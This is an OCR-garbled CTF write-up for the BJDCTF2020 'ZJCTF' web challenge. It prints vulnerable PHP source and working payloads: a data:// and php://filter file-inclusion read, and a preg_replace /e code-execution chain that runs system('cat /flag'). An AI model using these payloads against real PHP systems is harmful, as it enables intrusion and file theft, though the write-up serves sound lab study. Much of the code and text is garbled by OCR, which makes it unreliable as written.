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index.php
<7php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text, 'r')==="I have a dream")){
#rextih il

echo "<br><hl>".file_get_contents($text, 'r')."</hl></br>";

if(preg_match("/flag/",$file)){

die("Not now!");

include($file); //next.php  fhthillifnext. phpi&id

}

else{
highlight_file(__FILE__);

}

>

payload 1§ next.phpi&fd

?text=data://text/plain,I have a dream
&file=php://filter/convert.base64-encode/resource=next.php

| have a dream

PD9waHAKJGIkIDOgJFOHRVRbJ2IkJ107CiRfUOVTUOIPTIsnaWQnXSASICRpZ
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URL
http://6c32b35c-3e22-430d-b639-bbdad8c25838.node4.buuoj.cn:81/

?text=data://text/plain,| have a dream
&file=php://filter/convert.base64-encode/resource=next.php

next.php

<?php
$id = $_GeT["id"];



$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(

AT Bire i t)/el, //preg_replacefl]/efiz
tstrtollower C\NL#) =T [/BBFER /1 BB AR EN, 24T a4
$str //$refl$strEgG LA

il

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";

function getFlag(){
@eval ($_GeT['cmd']);
}

payload?2 link

next.php?\s*=${getFlag(}
&cmd=system('cat /flag');

${getFlag()}ai#& {${getFlag(}}
\S*HET.* , BE.BIFEMNS_GETHASH A, SBHIRm_

flag{ff82383a-af87-4a4f-92b7-138af5102b84} system('cat /flag’);
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LOAD SPLIT EXECUTE HEST = sqQLl -~ XSS - LA

URL
http://6c32b35¢c-3e22-430d-b639-bbdad8c25838.node4.buucj.cn:81/next.php

N\S*=§{getFlag()}
&cmd=system('cat /flag’);

S# & hitps://www.cesafe.com/html/6999.html



https://www.cesafe.com/html/6999.html

	[ctf web][BJDCTF2020]ZJCTF，不过如此 writeup | preg_replace 函数/e模式命令执行
	[BJDCTF2020]ZJCTF，不过如此

